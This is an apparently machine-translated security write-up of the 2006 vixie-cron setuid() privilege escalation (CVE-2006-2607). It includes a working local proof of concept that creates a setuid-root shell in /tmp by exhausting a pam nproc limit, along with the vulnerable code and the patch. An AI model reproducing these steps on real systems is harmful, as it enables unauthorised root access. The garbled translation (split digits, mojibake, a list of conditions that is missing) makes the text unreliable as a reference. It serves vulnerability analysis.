Setuid() - nproc limit the type of vulnerability of in-depth analysis
(PST)
---------[ Subject : Setuid() - nproc limit the type of vulnerability of in-depth analysis ]
---------[ Author : axis([email protected]) ]
---------[ Copyright : www.ph4nt0m.org www.secwiki.com ]
---------[ Date : 07/20/2006 ]
---------[ Version : 1.0 ]
|=-----------------------------------------------------------------------------=|
---------[ Table of Contents ]
0x110 - Preface
0x120 - cron elevation of privilege vulnerability
0x130 - in-depth analysis
0x140 - Conclusion
0x150 - Reference
|=-----------------------------------------------------------------------------=|
---------[ 0x110 - Preface ]
Some time ago appeared a new type of vulnerability is not properly check the setuid()functionβs return value.
setuid()if execution success,will return 0,if fails,returns-1. If the program as root run,assuming that the program is normally setuid(uid)after,speaking to reduce the permissions for the General user,but because of not checking setuid()return value,that is,for some reason,setuid fails,then the program probably also will continue to be run as root. This leads to some very dangerous things can happen.
---------[ 0x110 - vixie cron elevation of privilege vulnerability ]
Some time ago the vixie cron elevation of privilege vulnerability,is belonging to the type of vulnerability
Specific announcements see:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607
crond daemon is the root start of,each ordinary user can establish their own crontab
If you use pam_limits. so to limit the user to start the number of processes,when the userβs crontab in the start the number of processes reach the limit after the number,it will cause setuid to fail,so the child process will inherit the root permissions,continue to be run as root.
Specific We to the POC,the test platform is Redhat Enterprise Linux 4 Update 4
[axis@localhost temp]$Content$nbsp;uname-a
Linux localhost. localdomain 2.6.9-2 of 2. ELsmp #1 SMP Mon Sep 1 9 1 8:3 2:1 4 EDT 2 0 0 5 i686 i686 i386 GNU/Linux
[axis@localhost temp]$Content$nbsp;cat /etc/issue
Red Hat Enterprise Linux AS release 4 (Nahant Update 2)
Kernel \r on an \m
[axis@localhost temp]$Content$nbsp;rpm-qa |grep vixie
vixie-cron-4.1-3 6. EL4
[axis@localhost temp]$Content$nbsp;rpm-qa |grep pam
pam_ccreds-1-3
pam_smb-1.1.7-5
pam-devel-0.77-66.11
pam-0.77-66.11
pam_passwdqc-0.7.5 had-2
pam_krb5-2.1.8-1
spamassassin-3.0.4-1. el4
[axis@localhost temp]$Content$nbsp;
First modify the/etc/security/limits. conf
Add the following line:
axis hard nproc 4 0 0
This sentence meaning is to bring the axis to a user-initiated process limit to 4 0 0
Then modify/etc/pam. d/crond
Add the following line:
session required pam_limits. so
This sentence mean the crond using pam_limits. so,while the pam so it is reading the/etc/security/limits. conf configuration
So here,cron will limit the axis the user can only run 4 0 0 process.
Then establish the axis need to run the task.
Create the following shell script
[axis@localhost temp]$Content$nbsp;pwd
/home/axis/temp
[axis@localhost temp]$Content$nbsp;cat x. sh
#!/ bin/sh
cp /bin/sh /tmp/sh
chown root:root /tmp/sh
chmod 4 7 5 5 /tmp/sh
sleep 1 0 0 0 0 0 0;
[axis@localhost temp]$Content$nbsp;
The script in the/tmp established under a suid shell
Then add to the axis of the crontab:
[axis@localhost temp]$Content$nbsp;crontab-e
So every minute,ε°± δΌ θΏθ‘ δΈζ¬‘ x.sh
δ»η» η x.sh,as can be found,if there is no root access,then build out/tmp/sh is the main can only be the axis.
View under the current userβs number of processes
[axis@localhost temp]$Content$nbsp;ps axun | grep β^ *5 0 0 β | wc-l
4
[axis@localhost temp]$Content$nbsp;
Only 4,and earlier in the/etc/security/limits. conf limit axis number of processes is 4 0 0
Then,using some of the consumption process
[axis@localhost temp]$Content$nbsp;./ daemon-s 1 0 0 0 0 0-p 3 8 0
Create the specified number of processes, the parent process exits.
[axis@localhost temp]$Content$nbsp;ps axun | grep β^ *5 0 0 β | wc-l
3 9 0
[axis@localhost temp]$Content$nbsp;
daemon this small app is in the background to start the process,each process sleep 100000s,here we start a 3 8 0 a process,so now the process is the total number of 3 9 0
Immediately get to 4 0 0.
[axis@localhost temp]$Content$nbsp;ll /tmp
total 6 0 8
-rwsr-xr-x 1 axis axis 6 1 6 3 1 2 Jul 2 1 1 8:2 6 sh
[axis@localhost temp]$Content$nbsp;
You can now see/tmp/sh or axis for the owner,description of x. sh or in axis identity operation.
After a few minutes
[root@localhost ~]# ll /tmp
total 6 0 8
-rwsr-xr-x 1 root root 6 1 6 3 1 2 Jul 2 1 1 8:4 0 sh
[root@localhost ~]# ps axun | grep β^ *5 0 0 β | wc-l
4 0 0
[root@localhost ~]#
You can see the/tmp/sh becomes the owner is root!
[root@localhost ~]# ps aufx
β¦
root 2 4 6 0 0.0 0.0 3 4 4 0 5 1 2 ? Ss Jul12 0:0 0 gpm-m /dev/input/mice-t exps2
root 2 4 7 0 0.0 0.0 6 4 0 0 1 0 9 6 ? Ss Jul12 0:0 0 crond
root 6 0 2 0 0.0 0.0 6 9 8 4 1 4 4 4 ? S 1 8:3 6 0:0 0 \_ crond
axis 6 0 2 1 0.0 0.0 3 5 3 6 8 4 8 ? Ss 1 8:3 6 0:0 0 | \_ /bin/sh /home/axis/temp/x.sh
axis 6 0 2 6 0.0 0.0 3 0 4 0 4 5 6 ? S 1 8:3 6 0:0 0| | \_ sleep 1 0 0 0 0 0 0
axis 6 0 2 4 0.0 0.1 7 9 5 6 2 5 5 6 ? S 1 8:3 6 0:0 0 | \_ /usr/sbin/sendmail-FCronDaemon-i-odi-oem-oi-t
root 6 0 3 5 0.0 0.0 6 9 8 4 1 4 4 4 ? S 1 8:3 7 0:0 0 \_ crond
axis 6 0 3 6 0.0 0.0 3 2 5 2 8 4 4 ? Ss 1 8:3 7 0:0 0 | \_ /bin/sh /home/axis/temp/x.sh
axis 6 0 4 1 0.0 0.0 2 5 7 6 4 5 6 ? S 1 8:3 7 0:0 0 | | \_ sleep 1 0 0 0 0 0 0
axis 6 0 3 9 0.0 0.1 7 1 6 4 2 5 6 4 ? S 1 8:3 7 0:0 0 | \_ /usr/sbin/sendmail-FCronDaemon-i-odi-oem-oi-t
root 6 0 7 3 0.0 0.0 6 9 8 4 1 4 4 4 ? S 1 8:3 8 0:0 0 \_ crond
axis 6 0 7 4 0.0 0.0 3 0 9 6 8 4 8 ? Ss 1 8:3 8 0:0 0 | \_ /bin/sh /home/axis/temp/x.sh
axis 6 0 7 9 0.0 0.0 2 4 5 6 4 5 6 ? S 1 8:3 8 0:0 0 | | \_ sleep 1 0 0 0 0 0 0
axis 6 0 7 7 0.0 0.1 6 5 3 2 2 5 6 4 ? S 1 8:3 8 0:0 0 | \_ /usr/sbin/sendmail-FCronDaemon-i-odi-oem-oi-t
root 6 4 8 1 0.0 0.0 6 9 8 4 1 4 4 4 ? S 1 8:3 9 0:0 0 \_ crond
axis 6 4 8 2 0.0 0.0 2 5 6 8 8 4 4 ? Ss 1 8:3 9 0:0 0 | \_ /bin/sh /home/axis/temp/x.sh
axis 6 4 8 7 0.0 0.0 2 7 6 0 4 5 6 ? S 1 8:3 9 0:0 0 | | \_ sleep 1 0 0 0 0 0 0
root 6 4 8 5 0.0 0.0 0 0 ? Z 1 8:3 9 0:0 0 | \_ [crond] <defunct>
root 6 5 0 7 0.0 0.0 6 9 8 0 1 4 2 0 ? S 1 8:4 0 0:0 0 \_ crond
root 6 5 0 8 0.0 0.0 3 9 1 2 8 4 8 ? Ss 1 8:4 0 0:0 0 \_ /bin/sh /home/axis/temp/x.sh
root 6 5 1 2 0.0 0.0 3 0 8 0 4 5 6 ? S 1 8:4 0 0:0 0 \_ sleep 1 0 0 0 0 0 0
xfs 2 4 9 6 0.0 0.0 4 2 2 8 1 4 1 6 ? Ss Jul12 0:0 0 xfs-droppriv-daemon
root 2 5 1 5 0.0 0.0 2 0 2 4 7 0 0 ? Ss Jul12 0:0 0 /usr/sbin/atd
dbus 2 5 2 5 0.0 0.0 3 1 6 0 1 0 2 4 ? Ss Jul12 0:0 0 dbus-daemon-1 --system
root 2 5 3 8 0.0 0.0 4 1 6 8 1 0 2 8 ? Ss Jul12 0:0 0 cups-config-daemon
β¦
Pay attention here!
root 6 5 0 7 0.0 0.0 6 9 8 0 1 4 2 0 ? S 1 8:4 0 0:0 0 \_ crond
root 6 5 0 8 0.0 0.0 3 9 1 2 8 4 8 ? Ss 1 8:4 0 0:0 0 \_ /bin/sh /home/axis/temp/x.sh
root 6 5 1 2 0.0 0.0 3 0 8 0 4 5 6 ? S 1 8:4 0 0:0 0 \_ sleep 1 0 0 0 0 0 0
ζ¬ζ₯ εΊθ―₯ ζ―δ»₯ axis η¨ζ· θΊ«δ»½ θΏθ‘ η x.sh,turn out to be run as root!
---------[ 0x110 - in-depth analysis ]
Caused by the above vulnerabilities for many reasons. First of all,if in/etc/security/limits. conf restricts the userβs process number,then the pam_limits. so will invoke pam_open_session(),If is the root to call him,it returns a PAM_SUCCESS,at the same time as root to perform it.
But when the user number of processes limit is reached the number of post,pam-0.79-9. 6 still allows the pam_open_session()is successful execution continues,but this time,crond child process will setuid()to fail, and vixie-cron-4.1 and didnβt check setuid()return value,without checking whether he has setuid()is successful,it would have been should use setuid()to drop right,but still as root in the run. But this time fork()is to be allowed,even has reached the user maximum number of processes,so,the task in as root to continue to run forever!! We can look at the code in do_command. c:
β¦
void
do_command(entry *e, user *u) {
Debug(DPROC, (β[%ld] do_command(%s, (%s,%ld,%ld))\nβ,
(long)getpid(), e->cmd, u->name,
(long)e->pwd->pw_uid, (long)e->pwd->pw_gid))
/* fork to become asynchronous β parent process is done immediately,
β¦
/* set our directory, uid and gid. Set gid first, since once
β¦
#else
setgid(e->pwd->pw_gid);
initgroups(usernm, e->pwd->pw_gid);
#if (defined(BSD)) && (BSD >= 1 9 9 1 0 3)
setlogin(usernm);
#endif /* BSD /
setuid(e->pwd->pw_uid); / we arenβt root after thisβ¦ */
#endif /* LOGIN_CAP */
chdir(env_get(βHOMEβ, e->envp));
Watch here
setgid(e->pwd->pw_gid);
β¦
setuid(e->pwd->pw_uid); /* we arenβt root after thisβ¦ */
Here is just a simple implementation of setuid(),and not do anything to check the return value of the measures.
Then look at the patch more clearly.
[root@localhost SOURCES]# cat vixie-cron-4.1-privilege_escalation. patch
-β vixie-cron-4.1/do_command. c. orig 2006-05-29 1 6:4 5:32.000000000 +0 2 0 0
+++ vixie-cron-4.1/do_command. c 2006-05-29 1 6:4 8:28.000000000 +0 2 0 0
@@ -300,12+300,24 @@
}
}
#else
- setgid(e->pwd->pw_gid);
+
initgroups(usernm, e->pwd->pw_gid);
#if (defined(BSD)) && (BSD >= 1 9 9 1 0 3)
setlogin(usernm);
#endif /* BSD /
- setuid(e->pwd->pw_uid); / we arenβt root after thisβ¦ /
+
+ if ( setgid(e->pwd->pw_gid) == -1 ) {
+ fprintf(stderr,βcanβt set gid for %s\nβ, e->pwd->pw_name);
+ _exit(1);
+ }
+
+ if ( setuid(e->pwd->pw_uid) == -1 ) {
+ fprintf(stderr,βcanβt set uid for %s\nβ, e->pwd->pw_name);
+ _exit(1);
+ }
+
+ / we arenβt root after thisβ¦ */
+
#endif /* LOGIN_CAP */
chdir(env_get(βHOMEβ, e->envp));
[root@localhost SOURCES]#
In the patch,the setuid()and setgid()the return value plus the limit.
This vulnerability is mainly pam caused by the characteristics,that is, if is a root implementation of pam_open_session(),then is can continue to fork (), even if the user nproc limit the limit is reached,but in this case setuid()but fail,so causing this problem. Its essence is:the fork()normal execution,and setuid()failed.
In Joshβs blog,he had mentioned in 2. 6 kernel,the default for each user set the nproc limit,so for the 2. 6 kernel,which is default can success provide the right.
θ§ :http://www.bress.net/blog/archives/34-setuid-madness.html
In fact, this is incorrect.
init_task. signal->rlim[RLIMIT_NPROC]. rlim_cur = max_threads/2;
init_task. signal->rlim[RLIMIT_NPROC]. rlim_max = max_threads/2;
Here indeed is to limit the user the number of processes,but RLIMIT_NPROC in 2. 4 the kernel you have,the number of processes and memory size, etc. are associated
[root@localhost ~]# ulimit-u
3 2 7 6 4
[root@localhost ~]#
Each user by default is can start 3 2 7 6 4 process,although you can use the ulimit-u command to modify him,but with the/etc/security/limits. conf to limit user nproc limit is still a difference.
After testing,directly using the ulimit-u to modify the number of processes,is unable to fork()out of the new user process,this is because as mentioned earlier, this vulnerability also with the pam is related to,the use of the pam properties,would have been a successful fork()
---------[ 0x110 - Conclusion ]
In summary,to successfully exploit this type of vulnerability,the need to meet three conditions:
pam nproc limit is just an example,as long as meet the above 3 conditions,it should be said there are such defects,if there are more vulnerabilities to wait for our tap?!
Finally, thank thiefox,gary
---------[ 0x110 - Reference ]
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607
https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=178431
http://www.bress.net/blog/archives/34-setuid-madness.html
-EOF-